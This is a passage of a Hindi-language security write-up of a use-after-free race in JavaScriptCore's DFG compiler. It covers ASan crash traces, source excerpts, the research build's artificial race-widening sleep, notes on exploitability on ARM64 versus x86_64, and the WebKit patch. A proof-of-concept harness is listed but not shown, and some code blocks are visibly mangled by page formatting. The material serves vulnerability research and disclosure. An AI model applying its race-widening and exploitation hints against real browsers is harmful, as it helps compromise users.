    ==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
    ==28622==The signal is caused by a READ memory access.
        #0  WTF::Dependency::loadAndFence<unsigned int>()
        #1  JSC::MarkedBlock::aboutToMark(unsigned int)
        #2  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
        #3  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
        #4  JSC::SlotVisitor::appendHidden(...)
        #5  JSC::SlotVisitor::appendValuesHidden(...)
        #6  JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
        #7  JSC::JSFinalObject::visitChildren(...)
        #8  JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
        #9  JSC::SlotVisitor::drain(...)
        #10 JSC::SlotVisitor::drainFromShared(...)
        #11 JSC::Heap::runBeginPhase(JSC::GCConductor)
        #12 WTF::SharedTaskFunctor<...>::run()
        #13 WTF::ParallelHelperClient::runTask(...)
        #14 WTF::ParallelHelperPool::Thread::work()
    

महत्वपूर्ण अवलोकन यह है कि क्रैश लॉग में पूरा अनुक्रम मौजूद है:

  1. `tryGetConstantProperty()` एक cell-मान वाले प्रॉपर्टी को सफलतापूर्वक फोल्ड करता है (`[tgcp] HIT ... val=cell`)।
  2. कंपाइलर थ्रेड चौड़ी हुई रेस विंडो में प्रवेश करता है (`RACE: entering safepoint + sleeping 500000us`)।
  3. JS हार्नेस तुरंत रेफरेंस छोड़ देता है और कलेक्शन चलाता है।
  4. जागने पर, ASan अभी भी cell एड्रेस को "accessible" मानता है, जिसका अर्थ है कि यह कोई साधारण redzone या manual-poison आर्टिफैक्ट नहीं है।
  5. प्रक्रिया फिर सामान्य GC मार्किंग कोड में मर जाती है।



मार्किंग-साइड श्रृंखला इस प्रकार काम करती है। GC पहुंच योग्य ऑब्जेक्ट ग्राफ़ में एक `JSFinalObject` पर `JSFinalObject::visitChildrenImpl` को कॉल करता है। वह फ़ंक्शन ऑब्जेक्ट के छिपे हुए वैल्यू स्टोरेज को इटरेट करता है:```cpp // Source/JavaScriptCore/runtime/JSObject.cpp:476 visitor.appendValuesHidden( thisObject->inlineStorage(), storageSize);

root@kitploit:~
    
    
    उस ट्रैवर्सल में किसी बिंदु पर, `appendHiddenUnbarriered` को एक स्टेल cell-वैल्यू `JSValue` प्राप्त होता है और वह इसे एक live cell के रूप में मानता है:```cpp
    // Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
    MarkedBlock& block = cell->markedBlock();
    dependency = block.aboutToMark(m_markingVersion);
    

`markedBlock()` सेल पॉइंटर से `MarkedBlock` पते की गणना करता है। चूँकि सेल मुक्त हो चुका है, इससे एक गार्बेज पता मिलता है। `aboutToMark` फिर ब्लॉक का मार्किंग संस्करण पढ़ता है:```cpp // Source/JavaScriptCore/heap/MarkedBlock.h:586-592 inline Dependency MarkedBlock::aboutToMark(HeapVersion markingVersion) { HeapVersion version; Dependency dependency = Dependency::loadAndFence(&header().m_markingVersion, version); // ... }

root@kitploit:~
    
    
    `loadAndFence` कचरे `MarkedBlock` पते (`0x180000008020`) से पढ़ता है, जिससे SEGV उत्पन्न होता है।
    
    ### 6.2 `freeze()` क्रैश प्रकार
    
    अलग-अलग समय स्थितियों के तहत, वही TOCTOU DFG कंपाइलर वर्कर थ्रेड पर सीधे `freeze()` पथ में भी क्रैश उत्पन्न करता है:```
        #0  ClassInfo::isSubClassOf()
        #1  JSCell::inherits()
        #2  jsDynamicCast<CodeBlock, JSCell>()
        #3  Graph::freeze(JSValue)
        #4  ByteCodeParser::weakJSConstant()
        #5  ByteCodeParser::load<GetByVariant>()
    

यह `RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value))` लाइन `Graph::freeze()` में है। `jsDynamicCast` `value.asCell()->inherits<CodeBlock>()` को कॉल करता है, जो सेल का `ClassInfo` पॉइंटर पढ़ता है। यदि सेल मुक्त कर दी गई है, तो `ClassInfo` कचरा है और `isSubClassOf()` फॉल्ट करता है।

यह वेरिएंट महत्वपूर्ण है क्योंकि यह कंपाइलर थ्रेड पर ही क्रैश करता है — वही थ्रेड जिसके पास स्टेल पॉइंटर होता है — न कि बाद में मुख्य थ्रेड पर GC चक्र के दौरान। दोनों वेरिएंट एक ही अंतर्निहित TOCTOU को प्रदर्शित करते हैं: एक सेल पॉइंटर `tryGetConstantProperty()` से बाहर निकल जाता है और सेल के मुक्त होने के बाद डीरेफ़रेंस किया जाता है।

### 6.3 डायग्नोस्टिक आउटपुट

एक सामान्य रन क्रैश से पहले यह अनुक्रम उत्पन्न करता है:``` [tgcp] HIT obj=0x62d000110140 ... offset=0 val=cell [tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 ... [clean-race] attempt 1: startCompilation() -> 1 [clean-race] attempt 1: proceeding without signal ... [tgcp] WAKE: safepoint done, cell was 0x62d00011c130 [tgcp] ASAN: cell 0x62d00011c130 is accessible after wake AddressSanitizer:DEADLYSIGNAL

root@kitploit:~
    
    
    `[tgcp] HIT` पंक्ति पुष्टि करती है कि `tryGetConstantProperty()` ने लक्षित प्रॉपर्टी को सेल मान के रूप में सफलतापूर्वक कॉन्स्टेंट-फोल्ड किया। `RACE` पंक्ति दिखाती है कि कंपाइलर थ्रेड चौड़ी की गई विंडो में प्रवेश कर रहा है। `WAKE` पंक्ति दिखाती है कि वह फिर से शुरू हो रहा है। ASan डायग्नोस्टिक सेल को "accessible" (सुलभ) के रूप में रिपोर्ट करता है — ASan को कोई साधारण redzone उल्लंघन नहीं दिखता — लेकिन सेल के आंतरिक पॉइंटर (structure ID, `MarkedBlock` बैक-पॉइंटर) स्टेल (अप्रचलित) हैं, जिससे JSC का अपना कोड उन्हें उपयोग करने का प्रयास करने पर क्रैश हो जाता है।
    
    ---
    
    ## 7. रिसर्च इंस्ट्रूमेंटेशन
    
    ### 7.1 क्या कृत्रिम है
    
    रिसर्च बिल्ड `tryGetConstantProperty()` को तीन तरीकों से संशोधित करता है:
    
    - एक 500ms `usleep()` रेस विंडो को चौड़ा करता है। स्टॉक इंजन में यहाँ कोई स्लीप नहीं होती; सेल लॉक रिलीज़ और `freeze()` कॉल के बीच की प्राकृतिक विंडो नैनोसेकंड की होती है।
    - `Graph` को `Scannable` के रूप में पंजीकृत किए बिना एक रॉ `Safepoint` में प्रवेश किया जाता है। प्रोडक्शन सेफपॉइंट (`GraphSafepoint` के माध्यम से) `Graph` जोड़ते हैं, जिससे GC सभी फ्रोज़न मानों को विज़िट करता है। रॉ सेफपॉइंट अभी तक फ्रोज़ न हुए सेल को GC के लिए अदृश्य बना देता है।
    - पर्यावरण चर (`JSC_TGCP_SLEEP_USEC`, `JSC_TGCP_SIGNAL_PATH`) स्लीप अवधि और एक वैकल्पिक सिग्नल फ़ाइल को नियंत्रित करते हैं।
    
    ### 7.2 क्या कृत्रिम नहीं है
    
    क्रैश स्वयं बिना संशोधित JSC कोड पथों से आता है:
    
    - `JSFinalObject::visitChildrenImpl` और `SlotVisitor::appendHiddenUnbarriered` स्टॉक GC मार्किंग लॉजिक हैं।
    - `Graph::freeze()` और `FrozenValue::freeze()` स्टॉक DFG कंपाइलर लॉजिक हैं।
    - कोई `__asan_poison_memory_region()` या अन्य मैन्युअल मेमोरी करप्शन उपयोग नहीं किया गया है।
    - क्रैश पथ में कोई स्पष्ट "dereference the stale pointer here" (यहाँ स्टेल पॉइंटर को डीरेफ़रेंस करें) प्रोब नहीं डाला गया है।
    - जावास्क्रिप्ट हार्नेस केवल सार्वजनिक JSC APIs और `jsc` शेल बिल्ट-इन (`optimizeNextInvocation`, `numberOfDFGCompiles`, `fullGC`, `drainMicrotasks`) का उपयोग करता है।
    - DFG कंपाइलर थ्रेड वास्तव में GC द्वारा स्कैन नहीं किए जाते — यह प्रोडक्शन व्यवहार है, कोई रिसर्च आर्टिफैक्ट नहीं।
    
    ### 7.3 मूल्यांकन
    
    इंस्ट्रूमेंटेशन के बिना x86_64 पर विश्वसनीय पुनरुत्पादन के लिए प्राकृतिक रेस विंडो बहुत संकीर्ण है। ARM64 पर, कमज़ोर मेमोरी ऑर्डरिंग मूल एक्सप्लॉइट को बहुत व्यापक प्राकृतिक विंडो देती है — स्ट्रक्चर और वैल्यू स्टोर को पुनः क्रमबद्ध किया जा सकता है, इसलिए कंपाइलर थ्रेड बिना किसी कृत्रिम टाइमिंग सहायता के एक असंगत स्थिति का अवलोकन कर सकता है।
    
    x86_64 पर एक काल्पनिक प्रोडक्शन एक्सप्लॉइट को या तो महत्वपूर्ण बिंदु पर कंपाइलर थ्रेड को रोकने का एक तरीका चाहिए (जैसे, धीमी स्ट्रक्चर लुकअप, एक विवादित लॉक, या एक पैथोलॉजिकल ग्राफ आकार जो `freeze()` में देरी करता है) या कई कंपाइलेशन प्रयासों के साथ एक सांख्यिकीय दृष्टिकोण। इंस्ट्रूमेंटेशन उस आवश्यकता को एक डिटर्मिनिस्टिक स्लीप से बदल देता है।
    
    ---
    
    ## 8. पैच
    
    युसुके सुज़ुकी द्वारा WebKit कमिट `64714692967ad278155fcae66c5cb0f853b3bf34` (मार्क लैम द्वारा समीक्षित) इस भेद्यता को ठीक करता है।
    
    फिक्स एक नया क्लास, `DesiredObjectProperties`, प्रस्तुत करता है, जो जब भी DFG कंपाइलर किसी प्रॉपर्टी लोड को कॉन्स्टेंट-फोल्ड करता है, `(JSObject*, PropertyOffset, JSValue, Structure*)` टुपल्स रिकॉर्ड करता है। कंपाइलेशन पूर्ण होने के बाद, `Plan::isStillValidOnMainThread()` इन प्रॉपर्टीज़ को मुख्य थ्रेड पर पुनः पढ़ता है और उन्हें रिकॉर्ड किए गए मानों से तुलना करता है। यदि कोई टुपल स्टेल है — ऑब्जेक्ट की स्ट्रक्चर बदल गई है, या प्रॉपर्टी मान भिन्न है — तो संकलित प्लान निष्पादित होने से पहले ही त्याग दिया जाता है।
    
    यह TOCTOU को एक एटॉमिक जाँच में परिवर्तित करता है: कंपाइलर का स्नैपशॉट ऑप्टिमाइज़्ड कोड स्थापित होने से पहले एक सिंक्रनाइज़ेशन बिंदु (मुख्य-थ्रेड फ़ाइनलाइज़ेशन) पर मान्य किया जाता है। `freeze()` UAF कंपाइलेशन के दौरान फिर भी हो सकता है, लेकिन परिणामी कोड कभी उपयोग नहीं किया जाता।
    
    मल्टी-स्ट्रक्चर सेट के लिए, पैच किया गया `tryGetConstantProperty()` जब `structureSet.size() > 1` हो और सभी स्ट्रक्चर सक्रिय रूप से वॉच न किए गए हों, तो कॉन्स्टेंट फोल्डिंग को पूरी तरह से अस्वीकार कर देता है। यह S1→S2→S3 ट्रांज़िटिव-ट्रांज़िशन हमले को स्रोत पर ही समाप्त कर देता है।
    
    ---
    
    ## 9. फ़ाइलें
    
    | फ़ाइल | विवरण |
    |------|-------------|
    | `toctou_clean_asan_v2.js` | जावास्क्रिप्ट प्रूफ-ऑफ-कॉन्सेप्ट हार्नेस |
    | `DFGGraph.cpp` | कमज़ोर फ़ंक्शन (`tryGetConstantProperty`), `freeze()`, और रिसर्च इंस्ट्रूमेंटेशन |
    | `DFGFrozenValue.h` | `FrozenValue::freeze()` — सेल डीरेफ़रेंस बिंदु |
    | `DFGByteCodeParser.cpp` | `weakJSConstant()` कॉल साइट |
    | `DFGConstantFoldingPhase.cpp` | `emitGetByOffset()` कॉल साइट |
    | `DFGAbstractInterpreterInlines.h` | एब्स्ट्रैक्ट इंटरप्रेटर कॉल साइट |
    | `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` — GC मार्किंग क्रैश साइट |
    | `MarkedBlock.h` | `aboutToMark()` — जहाँ SEGV होता है |
    | `JSLock.cpp` | `didAcquireLock()` — दिखाता है कि DFG थ्रेड GC के साथ पंजीकृत नहीं हैं |
Exploit Code

Share

Share on social media:
